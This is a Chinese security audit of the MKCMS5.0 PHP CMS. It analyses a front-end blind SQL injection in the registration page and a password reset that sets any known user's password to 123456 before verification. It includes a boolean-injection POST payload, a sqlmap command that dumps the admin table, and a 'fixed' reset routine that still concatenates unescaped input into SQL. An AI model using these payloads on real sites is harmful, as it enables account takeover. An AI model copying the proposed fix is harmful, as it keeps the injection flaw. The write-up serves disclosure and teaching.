某KCMS5.0 代码审计 (前台注入&任意用户密码重置)
字数 1009 2025-08-29 08:31:53
MKCMS5.0 代码审计报告:前台SQL注入与任意用户密码重置漏洞分析
0x01 系统概述
MKCMS5.0是一款基于PHP+MYSQL开发的专业全自动采集电影网站源码,具有以下特点:
- 无需授权上传直接使用
- 自动更新电影内容,支持无人值守
- 完整的会员影视中心
- 后台可对接卡盟
- 支持设置收费观看模式
0x02 漏洞一:前台SQL注入
漏洞位置
/ucenter/reg.php 第7-19行
漏洞代码分析
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from mkcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
exit;
}
$result = mysql_query('select * from mkcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
exit;
}
}
漏洞成因
$username参数仅经过stripslashes()和trim()处理stripslashes()函数会删除addslashes()添加的反斜杠,但此处没有先使用addslashes()- 直接拼接用户输入到SQL语句中,导致SQL注入
漏洞利用方法
- 这是一个布尔盲注漏洞,通过判断返回结果(true/false)来获取信息
- POC示例:
POST /ucenter/reg.php HTTP/1.1
Host: 127.0.0.1
[...其他头部...]
Content-Length: 52
Connection: close
name=test' AND 1=1 AND 'inject'='inject&email=sss%40qq.com&password=ssssss&submit=
- 使用sqlmap自动化利用:
sqlmap -r inject.txt -D mkcms -T mkcms_manager --dump
修复建议
- 对所有用户输入使用
addslashes()或更好的mysql_real_escape_string()进行转义 - 建议使用预处理语句(PDO)替代直接拼接SQL
0x03 漏洞二:任意用户密码重置
漏洞位置
/ucenter/repass.php 第1-44行
漏洞代码分析
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$email = trim($_POST['email']);
// 检测用户名是否存在
$query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");
if(!! $row = mysql_fetch_array($query)){
$_data['u_password'] = md5(123456);
$sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
if (mysql_query($sql)) {
$token =$row['u_question'];
include("emailconfig.php");
// 邮件发送代码...
if($rs==true){
echo '<script>alert("请登录到您的邮箱查看您的密码!");window.history.go(-1);</script>';
}else{
echo "找回密码失败"
}
}
}
}
漏洞成因
- 逻辑缺陷:程序先重置密码为123456,然后才发送邮件验证
- 即使邮件发送失败,密码也已经被重置
- 攻击者只需知道用户名和对应邮箱,即可重置该用户密码
漏洞利用方法
- 构造POST请求,提供目标用户名和邮箱
- 系统会立即将密码重置为123456
- 即使邮件发送失败,密码修改操作已经完成
修复建议
- 修改逻辑流程,先发送验证邮件,验证成功后再修改密码
- 建议修复代码:
function randomkeys($length) {
$pattern = '1234567890abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLOMNOPQRSTUVWXYZ';
for($i=0;$i<$length;$i++) {
$key .= $pattern{mt_rand(0,35)};
}
return $key;
};
$repass = randomkeys(10);
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$email = trim($_POST['email']);
$query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");
if(!! $row = mysql_fetch_array($query)){
include("emailconfig.php");
// 邮件发送代码...
if($rs==true){
$_data['u_password'] = md5($repass);
$sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
mysql_query($sql);
echo '<script>alert("请登录到您的邮箱查看您的密码!");window.history.go(-1);</script>';
}else{
echo "找回密码失败";
}
}
}
0x04 辅助工具
MySQLMonitor工具可用于监控SQL语句执行情况,帮助审计SQL注入漏洞:
https://github.com/TheKingOfDuck/MySQLMonitor
0x05 总结
- SQL注入漏洞:由于未正确过滤用户输入导致,建议使用预处理语句
- 密码重置漏洞:由于逻辑流程错误导致,应先验证后修改
- 两个漏洞都涉及用户认证系统,危害性较高
- 建议对所有用户输入进行严格过滤和验证
- 关键业务逻辑应增加二次验证机制
0x06 免责声明
本报告仅供技术交流使用,不得用于非法用途。在实际测试中,应事先获得系统所有者的授权。